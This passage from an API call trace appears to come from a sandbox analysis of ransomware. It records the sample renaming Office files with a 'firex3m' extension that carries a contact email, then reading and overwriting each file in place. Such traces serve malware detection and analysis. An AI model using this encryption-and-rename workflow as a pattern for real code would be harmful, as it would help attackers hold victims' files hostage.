returned 1 [0145.919] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.919] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.919] CloseHandle (hObject=0x6f8) returned 1 [0145.919] GetProcessHeap () returned 0x630000 [0145.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f251d0 | out: hHeap=0x630000) returned 1 [0145.919] GetProcessHeap () returned 0x630000 [0145.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f22460 | out: hHeap=0x630000) returned 1 [0145.920] GetProcessHeap () returned 0x630000 [0145.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0145.920] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4b09e82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4b09e82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0xc6c7496, dwReserved1=0x6f22458, cFileName="MondoR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO0D21~1.FIR")) returned 0x6d52c0 [0145.920] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0145.920] Sleep (dwMilliseconds=0x1) [0146.019] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", len=0x41 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS") returned 1 [0146.019] GetProcessHeap () returned 0x630000 [0146.019] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2770) returned 0x71f7c78 [0146.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.400] CloseHandle (hObject=0x708) returned 1 [0146.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PASSPO~1.FIR")) returned 0x6d5440 [0146.421] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.422] GetProcessHeap () returned 0x630000 [0146.422] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0146.422] GetProcessHeap () returned 0x630000 [0146.422] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6faa008 [0146.422] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.422] ReadFile (in: hFile=0x69c, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x343ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0146.435] GetProcessHeap () returned 0x630000 [0146.435] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0146.436] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.436] WriteFile (in: hFile=0x69c, lpBuffer=0x6faa008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa008*, lpNumberOfBytesWritten=0x343ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0146.436] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.436] WriteFile (in: hFile=0x69c, lpBuffer=0x6faad67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faad67*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.436] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.436] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.436] CloseHandle (hObject=0x69c) returned 1 [0146.436] GetProcessHeap () returned 0x630000 [0146.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faa008 | out: hHeap=0x630000) returned 1 [0146.436] GetProcessHeap () returned 0x630000 [0146.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0146.436] GetProcessHeap () returned 0x630000 [0146.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0146.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d3bb311, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xc6c7496, dwReserved1=0x695ec8, cFileName="PASSPORT.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PASSPO~1.FIR")) returned 0x6d5280 [0146.437] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.437] Sleep (dwMilliseconds=0x1) [0146.461] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG", len=0x3e | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG") returned 1 [0146.461] GetProcessHeap () returned 0x630000 [0146.461] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26f0) returned 0x71f7c78 [0146.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.461] CloseHandle (hObject=0x708) returned 1 [0146.461] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUBO~1.FIR")) returned 0x6d5040 [0146.462] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0146.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.462] GetProcessHeap () returned 0x630000 [0146.462] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f01) returned 0x71f4128 [0146.462] GetProcessHeap () returned 0x630000 [0146.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f01) returned 0x6fdaf30 [0146.463] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.463] ReadFile (in: hFile=0x708, lpBuffer=0x71f4128, nNumberOfBytesToRead=0x2ee0, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f4128*, lpNumberOfBytesRead=0x343ff0c*=0x2ee0, lpOverlapped=0x0) returned 1 [0147.650] GetProcessHeap () returned 0x630000 [0147.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0147.650] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.650] WriteFile (in: hFile=0x708, lpBuffer=0x6fdaf30*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdaf30*, lpNumberOfBytesWritten=0x343ff0c*=0x2ee0, lpOverlapped=0x0) returned 1 [0147.651] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.651] WriteFile (in: hFile=0x708, lpBuffer=0x6fdde0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdde0f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.651] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.651] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.651] CloseHandle (hObject=0x708) returned 1 [0148.748] GetProcessHeap () returned 0x630000 [0148.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdaf30 | out: hHeap=0x630000) returned 1 [0148.748] GetProcessHeap () returned 0x630000 [0148.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f4128 | out: hHeap=0x630000) returned 1 [0148.748] GetProcessHeap () returned 0x630000 [0148.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0149.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1df36a38, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f1c, dwReserved0=0xc6c7496, dwReserved1=0x71f4120, cFileName="MSPUB.OPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUBO~1.FIR")) returned 0x6d4e40 [0149.329] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0149.329] Sleep (dwMilliseconds=0x1) [0149.372] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD", len=0x41 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD") returned 1 [0149.372] GetProcessHeap () returned 0x630000 [0149.372] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2678) returned 0x71f7c78 [0149.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0149.373] CloseHandle (hObject=0x684) returned 1 [0149.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INSTLI~1.FIR")) returned 0x6d5580 [0149.377] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0149.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0149.377] GetProcessHeap () returned 0x630000 [0149.377] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x781) returned 0x6fba448 [0149.377] GetProcessHeap () returned 0x630000 [0149.377] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x781) returned 0x6e5368 [0149.377] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.377] ReadFile (in: hFile=0x684, lpBuffer=0x6fba448, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba448*, lpNumberOfBytesRead=0x343ff0c*=0x760, lpOverlapped=0x0) returned 1 [0149.397] GetProcessHeap () returned 0x630000 [0149.397] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0149.397] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.397] WriteFile (in: hFile=0x684, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x343ff0c*=0x760, lpOverlapped=0x0) returned 1 [0149.397] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.397] WriteFile (in: hFile=0x684, lpBuffer=0x6e5ac7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5ac7*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.397] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.397] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.397] CloseHandle (hObject=0x684) returned 1 [0149.397] GetProcessHeap () returned 0x630000 [0149.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0149.397] GetProcessHeap () returned 0x630000 [0149.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba448 | out: hHeap=0x630000) returned 1 [0149.398] GetProcessHeap () returned 0x630000 [0149.398] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1efe721f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x78f, dwReserved0=0xc6c7496, dwReserved1=0x6fba440, cFileName="INSTLIST.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INSTLI~1.FIR")) returned 0x6d5280 [0149.398] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0149.398] Sleep (dwMilliseconds=0x1) [0149.403] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS", len=0x4a | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS") returned 1 [0149.403] GetProcessHeap () returned 0x630000 [0149.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fa4e00, Size=0x2744) returned 0x6fa4e00 [0149.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0149.579] CloseHandle (hObject=0x410) returned 1 [0149.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCA925~1.FIR")) returned 0x6d5000 [0149.581] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0149.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0149.581] GetProcessHeap () returned 0x630000 [0149.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70f49b8 [0149.582] GetProcessHeap () returned 0x630000 [0149.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ffde8 [0149.582] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.582] ReadFile (in: hFile=0x410, lpBuffer=0x70f49b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f49b8*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.671] GetProcessHeap () returned 0x630000 [0158.671] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0158.671] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.671] WriteFile (in: hFile=0x410, lpBuffer=0x70ffde8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, 